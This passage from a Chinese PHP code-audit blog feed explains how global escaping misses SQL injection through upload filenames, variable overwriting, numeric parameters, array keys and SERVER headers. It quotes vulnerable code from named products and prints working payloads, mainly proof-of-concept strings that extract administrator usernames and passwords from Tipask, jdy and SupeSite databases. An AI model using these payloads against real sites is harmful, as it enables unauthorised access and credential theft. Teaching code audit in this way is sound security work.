<h2 id="0x02_漏洞分析">0x02 漏洞分析</h2><h3 id="FILES注入">FILES注入</h3><p>FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统<br>首先看看它的全局防护是怎么处理的:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line">index.php里:</span><br><span class="line"><span class="keyword">include</span> TIPASK_ROOT . <span class="string">'/model/tipask.class.php'</span>;</span><br><span class="line"><span class="variable">$tipask</span> = <span class="keyword">new</span> tipask();</span><br><span class="line"><span class="variable">$tipask</span>-&gt;run();</span><br><span class="line">... ...</span><br><span class="line">跟进到/model/tipask.class.php里:</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">init_request</span><span class="params">()</span> </span>&#123;</span><br><span class="line">... ...</span><br><span class="line"> <span class="variable">$this</span>-&gt;get = taddslashes(<span class="variable">$this</span>-&gt;get, <span class="number">1</span>);</span><br><span class="line"> <span class="variable">$this</span>-&gt;post = taddslashes(array_merge(<span class="variable">$_GET</span>, <span class="variable">$_POST</span>));</span><br><span class="line"> checkattack(<span class="variable">$this</span>-&gt;post, <span class="string">'post'</span>);</span><br><span class="line"> checkattack(<span class="variable">$this</span>-&gt;get, <span class="string">'get'</span>);</span><br><span class="line"> <span class="keyword">unset</span>(<span class="variable">$_POST</span>);</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure></p>
<p>可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">onupload</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="comment">//上传配置</span></span><br><span class="line"> <span class="variable">$config</span> = <span class="keyword">array</span>(</span><br><span class="line"> <span class="string">"uploadPath"</span> =&gt; <span class="string">"data/attach/"</span>, <span class="comment">//保存路径</span></span><br><span class="line"> <span class="string">"fileType"</span> =&gt; <span class="keyword">array</span>(<span class="string">".rar"</span>, <span class="string">".doc"</span>, <span class="string">".docx"</span>, <span class="string">".zip"</span>, <span class="string">".pdf"</span>, <span class="string">".txt"</span>, <span class="string">".swf"</span>, <span class="string">".wmv"</span>, <span class="string">"xsl"</span>), <span class="comment">//文件允许格式</span></span><br><span class="line"> <span class="string">"fileSize"</span> =&gt; <span class="number">10</span> <span class="comment">//文件大小限制,单位MB</span></span><br><span class="line"> );</span><br><span class="line"></span><br><span class="line"> <span class="comment">//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜</span></span><br><span class="line"> <span class="variable">$state</span> = <span class="string">"SUCCESS"</span>;</span><br><span class="line"> <span class="variable">$clientFile</span> = <span class="variable">$_FILES</span>[<span class="string">"upfile"</span>];</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$clientFile</span>)) &#123;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"&#123;'state':'文件大小超出服务器配置!','url':'null','fileType':'null'&#125;"</span>; <span class="comment">//请修改php.ini中的upload_max_filesize和post_max_size</span></span><br><span class="line"> <span class="keyword">exit</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//格式验证</span></span><br><span class="line"> <span class="variable">$current_type</span> = strtolower(strrchr(<span class="variable">$clientFile</span>[<span class="string">"name"</span>], <span class="string">'.'</span>));</span><br><span class="line"> <span class="keyword">if</span> (!in_array(<span class="variable">$current_type</span>, <span class="variable">$config</span>[<span class="string">'fileType'</span>])) &#123;</span><br><span class="line"> <span class="variable">$state</span> = <span class="string">"不支持的文件类型!"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="comment">//大小验证</span></span><br><span class="line"> <span class="variable">$file_size</span> = <span class="number">1024</span> * <span class="number">1024</span> * <span class="variable">$config</span>[<span class="string">'fileSize'</span>];</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$clientFile</span>[<span class="string">"size"</span>] &gt; <span class="variable">$file_size</span>) &#123;</span><br><span class="line"> <span class="variable">$state</span> = <span class="string">"文件大小超出限制!"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="comment">//保存文件</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$state</span> == <span class="string">"SUCCESS"</span>) &#123;</span><br><span class="line"> <span class="variable">$targetfile</span> = <span class="variable">$config</span>[<span class="string">'uploadPath'</span>] . gmdate(<span class="string">'ym'</span>, <span class="variable">$this</span>-&gt;time) . <span class="string">'/'</span> . random(<span class="number">8</span>) . strrchr(<span class="variable">$clientFile</span>[<span class="string">"name"</span>], <span class="string">'.'</span>);</span><br><span class="line"> <span class="variable">$result</span> = <span class="variable">$_ENV</span>[<span class="string">'attach'</span>]-&gt;movetmpfile(<span class="variable">$clientFile</span>, <span class="variable">$targetfile</span>);</span><br><span class="line"> <span class="keyword">if</span> (!<span class="variable">$result</span>) &#123;</span><br><span class="line"> <span class="variable">$state</span> = <span class="string">"文件保存失败!"</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="comment">//这里将上传的文件名带入数据库查询</span></span><br><span class="line"> <span class="variable">$_ENV</span>[<span class="string">'attach'</span>]-&gt;add(<span class="variable">$clientFile</span>[<span class="string">"name"</span>], <span class="variable">$current_type</span>, <span class="variable">$clientFile</span>[<span class="string">"size"</span>], <span class="variable">$targetfile</span>, <span class="number">0</span>);</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="comment">//向浏览器返回数据json数据</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'&#123;"state":"'</span> . <span class="variable">$state</span> . <span class="string">'","url":"'</span> . <span class="variable">$targetfile</span> . <span class="string">'","fileType":"'</span> . <span class="variable">$current_type</span> . <span class="string">'","original":"'</span> . <span class="variable">$clientFile</span>[<span class="string">"name"</span>] . <span class="string">'"&#125;'</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>可以看到这句$_ENV[‘attach’]-&gt;add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">add</span><span class="params">(<span class="variable">$filename</span>,<span class="variable">$ftype</span>,<span class="variable">$fsize</span>,<span class="variable">$location</span>,<span class="variable">$isimage</span>=<span class="number">1</span>)</span> </span>&#123;</span><br><span class="line"> <span class="variable">$uid</span>=<span class="variable">$this</span>-&gt;base-&gt;user[<span class="string">'uid'</span>];</span><br><span class="line"> <span class="variable">$this</span>-&gt;db-&gt;query(<span class="string">"INSERT INTO "</span>.DB_TABLEPRE.<span class="string">"attach(time,filename,filetype,filesize,location,isimage,uid) VALUES (&#123;$this-&gt;base-&gt;time&#125;,'$filename','$ftype','$fsize','$location',$isimage,$uid)"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$this</span>-&gt;db-&gt;insert_id();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:</p>
<pre><code>filename="1','.php',1,(<span class="operator">select <span class="keyword">concat</span>(username,<span class="number">0x23</span>,<span class="keyword">password</span>) <span class="keyword">from</span> ask_user <span class="keyword">limit</span> <span class="number">1</span>),<span class="number">2</span>,<span class="number">1</span>)#.jpg<span class="string">"</span></span>
</code></pre><p>数据库里成功将管理员账户密码插入到attach表中:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql6_01.jpg" alt=""></p>
<h3 id="变量覆盖">变量覆盖</h3><p>出现比较多的是<strong>extract函数</strong>,例如extract($_POST)会直接从POST数组中取出变量,覆盖掉之前的一些变量。<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span>=<span class="number">222333</span>;</span><br><span class="line">@extract(<span class="variable">$_POST</span>);</span><br><span class="line">print_r(<span class="variable">$a</span>);</span><br></pre></td></tr></table></figure></p>
<p>浏览器里post直接传a=1发现成功覆盖了变量a的值<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql6_02.jpg" alt=""><br>目前看乌云的案例<a href="http://www.wooyun.org/bugs/wooyun-2014-053189" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2014-053189</a>是出现在覆盖表前缀上。<br><strong>$$变量覆盖</strong><br>原理其实跟上面一样,有个很经典的$$变量覆盖的代码:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span>=<span class="number">22333</span>;</span><br><span class="line"><span class="keyword">foreach</span>(<span class="keyword">array</span>(<span class="string">'_COOKIE'</span>,<span class="string">'_POST'</span>,<span class="string">'_GET'</span>) <span class="keyword">as</span> <span class="variable">$_request</span>)&#123;</span><br><span class="line"> <span class="keyword">foreach</span>(<span class="variable">$$_request</span> <span class="keyword">as</span> <span class="variable">$_key</span>=&gt;<span class="variable">$_value</span>)&#123;</span><br><span class="line"> <span class="variable">$$_key</span> = addslashes(<span class="variable">$_value</span>);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$a</span>;</span><br></pre></td></tr></table></figure></p>
<p>测试发现成功覆盖了变量a<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql6_03.jpg" alt=""><br>案例:<a href="http://www.wooyun.org/bugs/wooyun-2010-055338" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2010-055338</a></p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2016/05/31/sql7/">http://www.cnbraid.com/2016/05/31/sql7/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,接上篇<a href="http://www.cnbraid.com/2016/05/10/sql6/">http://www.cnbraid.com/2016/05/10/sql6/</a>,这里介绍另外两种情况。<br><strong>盲点如下:</strong><br>①FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;<br>②变量覆盖,危险函数:extract()、parse_str()、$$。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmangdian2.jpg" alt=""><br>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.cnbraid.com/tags/PHP/"/>
<category term="SQL注入" scheme="http://www.cnbraid.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="代码审计" scheme="http://www.cnbraid.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇</title>
<link href="http://www.cnbraid.com/2016/05/10/sql6/"/>
<id>http://www.cnbraid.com/2016/05/10/sql6/</id>
<published>2016-05-10T02:35:00.000Z</published>
<updated>2016-06-24T08:55:05.114Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型、数组中的key没过滤被带入了查询以及全局过滤了GET、POST但没过滤SERVER或COOKIE引发的注入。所以看似有全局防护,实则隐藏了很多“后门”~<br><strong>盲点如下:</strong><br>①注入点类似id=1这种整型的参数就会完全无视GPC的过滤;<br>②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;<br>③有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER。<br>附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmangdian1.jpg" alt=""><br><a id="more"></a></p>
<h2 id="0x02_环境搭建">0x02 环境搭建</h2><p>环境请自行搜寻和搭建吧,从这篇开始只做分析不提供漏洞测试环境~~</p>
<h2 id="0x03_漏洞分析">0x03 漏洞分析</h2><h3 id="完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。">完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。</h3><blockquote>
<p>1.传入的参数未做intval转换、构造的sql语句没有单引号保护</p>
</blockquote>
<p>这个还是比较常见的,当初笔者挖到过一些,乌云案例<a href="http://www.wooyun.org/bugs/wooyun-2010-065605" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2010-065605</a><br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="keyword">require_once</span> <span class="string">"admin/common.php"</span>;</span><br><span class="line"><span class="keyword">require_once</span>(MOBAN_PATH_QZ.<span class="string">"header.html"</span>);</span><br><span class="line"><span class="comment">//这里typeid没有做整形转换</span></span><br><span class="line"><span class="variable">$typeid</span>=<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'typeid'</span>]) ? <span class="variable">$_GET</span>[<span class="string">'typeid'</span>] : <span class="number">1</span>;</span><br><span class="line"><span class="comment">//sql语句没有单引号保护</span></span><br><span class="line"><span class="variable">$type</span>=<span class="variable">$db</span>-&gt;fetch_array(mysql_query(<span class="variable">$sql</span>=<span class="string">"select * from "</span>.<span class="variable">$db</span>-&gt;tablepre.<span class="string">"newstype where newstypeid="</span>.<span class="variable">$typeid</span>));<span class="comment">//typeid参数存在注入,数字型;</span></span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>获取管理员账户密码的POC:</p>
<pre><code>http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION <span class="operator">SELECT <span class="literal">NULL</span>,(select <span class="keyword">concat</span>(username,<span class="number">0x23</span>,<span class="keyword">password</span>) <span class="keyword">from</span> jdy_admin <span class="keyword">limit</span> <span class="number">1</span>),<span class="literal">NULL</span>,</span>
</code></pre><p><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql5_01.jpg" alt=""></p>
<blockquote>
<p>2.同一参数在第一个sql里做了单引号保护,紧跟第二个忘记加单引号 </p>
</blockquote>
<p>有幸在Discuz!上看到此类问题,膜拜下雨牛的漏洞<a href="http://www.wooyun.org/bugs/wooyun-2014-079045" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2014-079045</a><br>简单分析下漏洞原理<br>首先$itemid经过的第一条SQL语句如下</p>
<pre><code><span class="variable">$query</span> = $_SGLOBAL[<span class="string">'db'</span>]-&gt;<span class="function"><span class="title">query</span><span class="params">(<span class="string">'SELECT * FROM '</span>.tname(<span class="string">'spacetags'</span>)</span></span>.<span class="string">' WHERE itemid=\''</span>.<span class="variable">$itemid</span>.<span class="string">'\' AND status=\''</span>.<span class="variable">$status</span>.<span class="string">'\''</span>)
</code></pre><p>$itemid是有单引号保护的并且做了select查询,如果查询有结果才会带入到delete中,如果无结果就不执行delete。在数据库里itemid是int类型存储的,所以这里本意是只能提交数字型才能查询出结果,如果不是提交的数字的话那么就查询不出来结果,就不去执行下面的delete语句了。但是由于mysql的类型转换,因为这里储存的是int类型,所以1xxxxx跟1的查询结果是一样的,如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql5_02.jpg" alt=""><br>然后后面第二条delete的sql语句如下</p>
<pre><code>$_SGLOBAL[<span class="string">'db'</span>]-&gt;query(<span class="string">'DELETE FROM '</span>.tname(<span class="string">'spacetags'</span>).<span class="string">' WHERE itemid='</span>.<span class="variable">$itemid</span>.<span class="string">' AND tagid IN ('</span>.simplode(<span class="variable">$deletetagidarr</span>).<span class="string">') AND status=\''.$status.'</span>\<span class="string">''</span>);
</code></pre><p>这里忘记加单引号了,根据上图我们可以构造获取数据库用户的POC:</p>
<pre><code><span class="label">http</span>://localhost/sup/dan/supesite/<span class="preprocessor">cp</span>.php?ac<span class="label">=news</span>&amp;op<span class="label">=view</span>&amp;<span class="keyword">itemid=4 </span><span class="keyword">and </span><span class="number">1</span>=(updatexml(<span class="number">1</span>,concat(<span class="number">0x5e24</span>,(<span class="keyword">select </span>user()),<span class="number">0x5e24</span>),<span class="number">1</span>))#
</code></pre><p><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql5_03.jpg" alt=""></p>
<blockquote>
<p>3.php弱类型语言,判断逻辑错误引发注入</p>
</blockquote>
<p>还是雨牛的案例<a href="http://www.wooyun.org/bugs/wooyun-2010-088872" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2010-088872</a><br>这里只讲下漏洞形成的原理<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql5_03.png" alt=""><br>如上图,弱类型语言在逻辑判断上0&lt;1和0 union select 1&lt;1是等价的,都返回True。</p>
<h3 id="数组类型,全局防护只过滤了value,key未过滤带入了查询">数组类型,全局防护只过滤了value,key未过滤带入了查询</h3><p>程序员往往在对数组的处理上不够严谨,导致会出现此类漏洞,笔者当年有幸挖到过ShopEx旗下的ecmall存在这类漏洞,链接:<a href="http://www.wooyun.org/bugs/wooyun-2010-065284" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2010-065284</a>。<br>由于上面那个案例跟序列化相关且过程较为复杂,这里引用乌云另外一则案例:<a href="http://www.wooyun.org/bugs/wooyun-2010-069746" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2010-069746</a>,简要分析这个案例,我们首先看下对数组进行处理的函数:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="variable">$_POST</span>=Add_S(<span class="variable">$_POST</span>);</span><br><span class="line"><span class="variable">$_GET</span>=Add_S(<span class="variable">$_GET</span>);</span><br><span class="line"><span class="variable">$_COOKIE</span>=Add_S(<span class="variable">$_COOKIE</span>);</span><br><span class="line">... ...</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Add_S</span><span class="params">(<span class="variable">$array</span>)</span></span>&#123;</span><br><span class="line"> <span class="keyword">foreach</span>(<span class="variable">$array</span> <span class="keyword">as</span> <span class="variable">$key</span>=&gt;<span class="variable">$value</span>)&#123;</span><br><span class="line"> <span class="keyword">if</span>(!is_array(<span class="variable">$value</span>))&#123;</span><br><span class="line"> <span class="variable">$value</span>=str_replace(<span class="string">"&amp;#x"</span>,<span class="string">"&amp; # x"</span>,<span class="variable">$value</span>); <span class="comment">//过滤一些不安全字符</span></span><br><span class="line"> <span class="variable">$value</span>=preg_replace(<span class="string">"/eval/i"</span>,<span class="string">"eva l"</span>,<span class="variable">$value</span>); <span class="comment">//过滤不安全函数</span></span><br><span class="line"> !get_magic_quotes_gpc() &amp;&amp; <span class="variable">$value</span>=addslashes(<span class="variable">$value</span>);</span><br><span class="line"> <span class="variable">$array</span>[<span class="variable">$key</span>]=<span class="variable">$value</span>;</span><br><span class="line"> &#125;<span class="keyword">else</span>&#123;</span><br><span class="line"> <span class="variable">$array</span>[<span class="variable">$key</span>]=Add_S(<span class="variable">$array</span>[<span class="variable">$key</span>]); </span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$array</span>;</span><br></pre></td></tr></table></figure></p>
<p>可以看到对数组的value进行了严格的过滤和addlashes转义,但对key没有任何过滤操作,然后我们全局搜索关键词“$key=&gt;$value”,发现如下代码$key被带入了查询<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="keyword">elseif</span>(<span class="variable">$job</span>==<span class="string">'manage'</span>)</span><br><span class="line">&#123;</span><br><span class="line"> <span class="keyword">if</span>(!<span class="variable">$atc_power</span>)showerr(<span class="string">"你没权限"</span>);</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$rsdb</span>[pages]&lt;<span class="number">2</span>)&#123;</span><br><span class="line"> header(<span class="string">"location:post.php?job=edit&amp;aid=$aid&amp;mid=$mid&amp;only=$only"</span>);<span class="keyword">exit</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="variable">$erp</span>=get_id_table(<span class="variable">$aid</span>);</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$step</span>==<span class="number">2</span>)&#123;</span><br><span class="line"> asort(<span class="variable">$orderDB</span>);</span><br><span class="line"> <span class="variable">$i</span>=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">foreach</span>( <span class="variable">$orderDB</span> <span class="keyword">AS</span> <span class="variable">$key</span>=&gt;<span class="variable">$value</span>)&#123;</span><br><span class="line"> <span class="variable">$i</span>++;</span><br><span class="line"> <span class="variable">$db</span>-&gt;query(<span class="string">"UPDATE &#123;$pre&#125;reply$erp SET orderid=$i WHERE aid='$aid' AND rid='$key'"</span>);</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure></p>
<p>构造获取管理员账户密码的POC如下图:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql05_3.png" alt=""><br>其它案例:<a href="http://www.wooyun.org/bugs/wooyun-2014-071516" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2014-071516</a></p>
<h3 id="SERVER变量未过滤">SERVER变量未过滤</h3><p>常常发生在获取用户ip并入库的函数上,类似如下代码:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//获取访问者IP(PHP代码/函数) </span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_ip</span><span class="params">()</span></span>&#123;</span><br><span class="line"> <span class="keyword">if</span>(getenv(<span class="string">"HTTP_CLIENT_IP"</span>) &amp;&amp; strcasecmp(getenv(<span class="string">"HTTP_CLIENT_IP"</span>),<span class="string">"unknown"</span>))&#123;</span><br><span class="line"> <span class="variable">$ip</span>=getenv(<span class="string">"HTTP_CLIENT_IP"</span>);</span><br><span class="line"> &#125;<span class="keyword">else</span> <span class="keyword">if</span> (getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>) &amp;&amp; strcasecmp(getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>),<span class="string">"unknown"</span>))&#123;</span><br><span class="line"> <span class="variable">$ip</span>=getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>);</span><br><span class="line"> &#125;<span class="keyword">else</span> <span class="keyword">if</span> (getenv(<span class="string">"REMOTE_ADDR"</span>) &amp;&amp; strcasecmp(getenv(<span class="string">"REMOTE_ADDR"</span>),<span class="string">"unknown"</span>))&#123;</span><br><span class="line"> <span class="variable">$ip</span>=getenv(<span class="string">"REMOTE_ADDR"</span>);</span><br><span class="line"> &#125;<span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_SERVER</span>[<span class="string">'REMOTE_ADDR'</span>]) &amp;&amp; <span class="variable">$_SERVER</span>[<span class="string">'REMOTE_ADDR'</span>] &amp;&amp; strcasecmp(<span class="variable">$_SERVER</span>[<span class="string">'REMOTE_ADDR'</span>],<span class="string">"unknown"</span>))&#123;</span><br><span class="line"> <span class="variable">$ip</span>=<span class="variable">$_SERVER</span>[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line"> &#125;<span class="keyword">else</span>&#123;</span><br><span class="line"> <span class="variable">$ip</span>=<span class="string">"unknown"</span> ; </span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$ip</span>; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>发现通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以我们全局搜索下get_ip函数发现有一些调用并且入库的地方。<br>program/index/receive/login.php处代码为例:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//这里使用get_ip函数获取客户ip</span></span><br><span class="line"><span class="variable">$ip</span>=get_ip();</span><br><span class="line"><span class="comment">//这里入库,所以可以注入了</span></span><br><span class="line"><span class="variable">$sql</span>=<span class="string">"update "</span>.<span class="variable">$pdo</span>-&gt;index_pre.<span class="string">"user set `last_time`='$time',`last_ip`='$ip' where `id`='"</span>.<span class="variable">$_SESSION</span>[<span class="string">'monxin'</span>][<span class="string">'id'</span>].<span class="string">"'"</span>;</span><br><span class="line"><span class="variable">$pdo</span>-&gt;exec(<span class="variable">$sql</span>);</span><br><span class="line"><span class="variable">$sql</span>=<span class="string">"select count(id) as c from "</span>.<span class="variable">$pdo</span>-&gt;index_pre.<span class="string">"user_login where `userid`='"</span>.<span class="variable">$_SESSION</span>[<span class="string">'monxin'</span>][<span class="string">'id'</span>].<span class="string">"'"</span>;</span><br><span class="line"><span class="variable">$stmt</span>=<span class="variable">$pdo</span>-&gt;query(<span class="variable">$sql</span>,<span class="number">2</span>);</span><br><span class="line"><span class="variable">$v</span>=<span class="variable">$stmt</span>-&gt;fetch(<span class="number">2</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$v</span>[<span class="string">'c'</span>]&lt;<span class="keyword">self</span>::<span class="variable">$config</span>[<span class="string">'other'</span>][<span class="string">'user_login_log'</span>])&#123;</span><br><span class="line"> <span class="variable">$sql</span>=<span class="string">"insert into "</span>.<span class="variable">$pdo</span>-&gt;index_pre.<span class="string">"user_login (`userid`,`ip`,`time`,`position`) values ('"</span>.<span class="variable">$_SESSION</span>[<span class="string">'monxin'</span>][<span class="string">'id'</span>].<span class="string">"','$ip','$time','"</span>.get_ip_position(<span class="variable">$ip</span>).<span class="string">"')"</span>;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"> <span class="variable">$sql</span>=<span class="string">"select `id` from "</span>.<span class="variable">$pdo</span>-&gt;index_pre.<span class="string">"user_login where `userid`='"</span>.<span class="variable">$_SESSION</span>[<span class="string">'monxin'</span>][<span class="string">'id'</span>].<span class="string">"' order by time asc limit 0,1"</span>;</span><br><span class="line"> <span class="variable">$stmt</span>=<span class="variable">$pdo</span>-&gt;query(<span class="variable">$sql</span>,<span class="number">2</span>);</span><br><span class="line"> <span class="variable">$v</span>=<span class="variable">$stmt</span>-&gt;fetch(<span class="number">2</span>);</span><br><span class="line"> <span class="variable">$sql</span>=<span class="string">"update "</span>.<span class="variable">$pdo</span>-&gt;index_pre.<span class="string">"user_login set `ip`='$ip',`time`='$time' where `id`='"</span>.<span class="variable">$v</span>[<span class="string">'id'</span>].<span class="string">"'"</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$pdo</span>-&gt;exec(<span class="variable">$sql</span>);</span><br></pre></td></tr></table></figure></p>
<p>案例:<a href="http://www.wooyun.org/bugs/wooyun-2010-0173485" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2010-0173485</a></p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2016/05/10/sql6/">http://www.cnbraid.com/2016/05/10/sql6/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型、数组中的key没过滤被带入了查询以及全局过滤了GET、POST但没过滤SERVER或COOKIE引发的注入。所以看似有全局防护,实则隐藏了很多“后门”~<br><strong>盲点如下:</strong><br>①注入点类似id=1这种整型的参数就会完全无视GPC的过滤;<br>②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;<br>③有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER。<br>附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmangdian1.jpg" alt=""><br>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.cnbraid.com/tags/PHP/"/>
<category term="SQL注入" scheme="http://www.cnbraid.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="代码审计" scheme="http://www.cnbraid.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护Bypass之一些函数的错误使用</title>
<link href="http://www.cnbraid.com/2016/04/29/sql5/"/>
<id>http://www.cnbraid.com/2016/04/29/sql5/</id>
<published>2016-04-29T02:35:00.000Z</published>
<updated>2016-06-24T08:55:17.939Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace)、反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/hanshu.jpg" alt=""><br><a id="more"></a></p>
